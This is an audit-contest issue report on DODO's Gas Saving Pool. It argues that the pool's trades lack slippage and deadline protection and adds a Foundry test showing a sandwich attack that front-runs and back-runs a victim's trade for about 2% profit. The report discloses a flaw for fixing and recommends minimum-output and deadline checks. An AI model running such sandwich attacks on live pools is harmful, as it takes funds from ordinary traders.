sherlock-audit / 2023-12-dodo-gsp-judging

6 stars 5 forks source link

0xMaroutis - Slippage issues when the slippage factor `k` is higher #143

Closed sherlock-admin2 closed 6 months ago

sherlock-admin2 commented 6 months ago

0xMaroutis

medium

Slippage issues when the slippage factor k is higher

Summary

When k factor increases the slippage portion is amplified. The PMM model become more similar to an AMM model. Also, By not providing any deadline check, if the transaction is not confirmed for a long time then the user might end up with a position that is not as interesting as it was.

Vulnerability Detail

For pools with higher k factor, trades become more sensitive to slippage issues. Also, trades become prone to sandwich attacks.

According to the article, k is recommended to be a relatively small number, such as 0.1.

The following test is an example of a slippage attack that could happen for K = 50000000000000000 or k = 0.05. You can copy the following test in the file GPSTrader.t.sol

Code ```javascript function test_sandwitchAttack() public { // transfer some tokens to USER vm.startPrank(DAI_WHALE); dai.transfer(USER, 2*BASE_RESERVE + BASE_INPUT); dai.transfer(VICTIM, 2*BASE_RESERVE + BASE_INPUT); vm.stopPrank(); vm.startPrank(USDC_WHALE); usdc.transfer(USER, 2*QUOTE_RESERVE + QUOTE_INPUT); usdc.transfer(VICTIM, QUOTE_RESERVE + QUOTE_INPUT); vm.stopPrank(); // User buys shares // console.log(dai.balanceOf(USER)); // console.log(dai.balanceOf(VICTIM)); vm.startPrank(USER); dai.transfer(address(gsp), BASE_RESERVE); usdc.transfer(address(gsp), QUOTE_RESERVE); gsp.buyShares(USER); vm.stopPrank(); // Attacker sees User's tx and front runs it uint256 balanceBaseUserBefore = dai.balanceOf(USER); uint256 balanceQuoteUserBefore = usdc.balanceOf(USER); console.log("Balance DAI attacker Before: ", balanceBaseUserBefore); console.log("Balance USDC attacker Before: ", balanceQuoteUserBefore); vm.startPrank(USER); dai.transfer(address(gsp), BASE_INPUT); gsp.sellBase(USER); vm.stopPrank(); uint256 balanceBaseUserAfterFirstTrade = dai.balanceOf(USER); uint256 balanceQuoteUserAfterFirstTrade = usdc.balanceOf(USER); console.log("Balance DAI attacker after first Trade: ", balanceBaseUserAfterFirstTrade); console.log("Balance USDC attacker after first Trade: ", balanceQuoteUserAfterFirstTrade); uint256 balanceBaseVictimBefore = dai.balanceOf(VICTIM); uint256 balanceQuoteVictimBefore = usdc.balanceOf(VICTIM); vm.startPrank(VICTIM); dai.transfer(address(gsp), BASE_INPUT); gsp.sellBase(VICTIM); vm.stopPrank(); uint256 balanceBaseVictimAfter = dai.balanceOf(VICTIM); uint256 balanceQuoteVictimAfter = usdc.balanceOf(VICTIM); console.log("Balance DAI Victim before: ", balanceBaseVictimBefore); console.log("Balance USDC Victim before: ", balanceQuoteVictimBefore); console.log("Balance DAI Victim after: ", balanceBaseVictimAfter); console.log("Balance USDC Victim after: ", balanceQuoteVictimAfter); // Attacker sells the tokens for immediate profit vm.startPrank(USER); usdc.transfer(address(gsp), QUOTE_INPUT/2); gsp.sellQuote(USER); vm.stopPrank(); uint256 balanceBaseUserAfter = dai.balanceOf(USER); uint256 balanceQuoteUserAfter = usdc.balanceOf(USER); console.log("Balance DAI attacker after second trade: ", balanceBaseUserAfter); console.log("Balance USDC attacker after second trade: ", balanceQuoteUserAfter); console.log("Balance DAI of Attacker gained: ", balanceBaseUserAfter - balanceBaseUserBefore); // 19037163309124435 } ```

Result

Balance DAI of Attacker gained:  19037163309124435

The attacker/MEV bot can thus make 2% profit a trade for no risk. The profit will increase if the amount for the trade/k factor used increase.

Impact

The attackers profits are a loss for the the users. Loss of funds for legit traders. Loss of confidence in the model and the pool. Every trading function is impacts, both selling functions and the flashloan function.

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPTrader.sol#L40 https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPTrader.sol#L79 https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPTrader.sol#L122

Tool used

Manual Review Foundry

Recommendation

Add slippage protection. You can consider adding parameters for the minimum amountOut to swap + deadline with a proper deadline and reverts the tx if deadline is passed.

Duplicate of #15